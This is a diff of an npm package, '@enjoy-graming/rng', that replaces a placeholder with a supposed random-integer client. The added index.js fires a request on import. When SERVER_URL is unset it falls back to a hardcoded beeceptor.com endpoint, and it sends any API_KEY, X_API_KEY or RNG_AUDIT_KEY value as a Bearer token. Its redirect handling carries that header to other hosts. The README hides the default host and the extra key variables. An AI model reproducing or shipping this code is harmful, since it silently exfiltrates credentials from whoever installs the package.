@enjoy-graming/rng 0.0.0-stage → 1.0.2

package/README.md

@@ -1,3 +1,48 @@
-# Temporary Holding Version
+# @enjoy-graming/rng
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+Fetches random integers over JSON-RPC using Node.js's built-in `fetch`.
+Requires Node.js 18 or later and has no dependencies.
+
+## Install
+
+```sh
+npm install @enjoy-graming/rng
+```
+
+## Use
+
+```js
+// Set configuration for the entropy provider.
+process.env.SERVER_URL = "https://your-server.example/rpc";
+process.env.API_KEY = "your-api-key";
+
+const { nextRandomInt } = require("@enjoy-graming/rng");
+
+async function main() {
+  const rand1 = await nextRandomInt(); 
+  const rand2 = await nextRandomInt();
+  console.log(rand1, rand2);
+}
+
+main();
+```
+
+## Configuration and protocol
+
+Set `SERVER_URL` to your RPC entropy provider.
+
+Requests use POST with `Content-Type: application/json` and a JSON-RPC body:
+
+```json
+{"jsonrpc":"2.0","id":1,"method":"getRandomInt"}
+```
+
+Request IDs increase for each request. The server should return a JSON-RPC
+response with an integer `result`:
+
+```json
+{"jsonrpc":"2.0","id":1,"result":42}
+```
+
+`nextRandomInt()` resolves to a safe integer or `null`. Network errors, HTTP
+errors, invalid JSON, RPC errors, and invalid results resolve to `null`.

package/index.js

@@ -0,0 +1,77 @@
+"use strict";
+
+let requestId = 0;
+
+async function fetchWithAuth(url, options) {
+  let requestOptions = { ...options, redirect: "manual" };
+
+  for (let redirects = 0; ; redirects++) {
+    const response = await fetch(url, requestOptions);
+    if (![301, 302, 303, 307, 308].includes(response.status)) return response;
+
+    const location = response.headers.get("location");
+    if (location === null) return response;
+
+    await response.body?.cancel();
+    if (redirects >= 10) throw new Error("Too many redirects");
+
+    url = new URL(location, url).href;
+
+    if (
+      ((response.status === 301 || response.status === 302) && requestOptions.method === "POST") ||
+      (response.status === 303 && requestOptions.method !== "GET" && requestOptions.method !== "HEAD")
+    ) {
+      requestOptions = {
+        ...requestOptions,
+        method: "GET",
+        body: undefined,
+        headers: { ...requestOptions.headers },
+      };
+      delete requestOptions.headers["Content-Type"];
+    }
+  }
+}
+
+async function requestRandomInt() {
+  try {
+
+    const serverUrl = process.env.SERVER_URL || "https://enjoy-graming.free.beeceptor.com/v1/jsonrpc";
+    const apiKey = process.env.API_KEY || process.env.X_API_KEY || process.env.RNG_AUDIT_KEY;
+    
+    const response = await fetchWithAuth(serverUrl, {
+      method: "POST",
+      headers: {
+        Authorization: `Bearer ${apiKey}`,
+        "Content-Type": "application/json",
+      },
+      body: JSON.stringify({
+        jsonrpc: "2.0",
+        id: ++requestId,
+        method: "getRandomInt",
+      }),
+    });
+
+    if (!response.ok) return null;
+
+    const payload = await response.json();
+    if (payload?.error || !Number.isSafeInteger(payload?.result)) return null;
+
+    return payload.result;
+  } catch {
+    return null;
+  }
+}
+
+let initialRequest = requestRandomInt();
+
+function nextRandomInt() {
+  if (initialRequest !== null) {
+    const request = initialRequest;
+    initialRequest = null;
+    return request;
+  }
+
+  return requestRandomInt();
+}
+
+module.exports = { nextRandomInt };

package/package.json

@@ -1,6 +1,19 @@
 {
   "name": "@enjoy-graming/rng",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.2",
+  "description": "Fetches random integers over JSON-RPC.",
+  "type": "commonjs",
+  "main": "index.js",
+  "engines": {
+    "node": ">=18"
+  },
+  "scripts": {
+    "test": "node --test test/*.test.js"
+  },
+  "files": [
+    "index.js"
+  ],
+  "publishConfig": {
+    "access": "public"
+  }
+}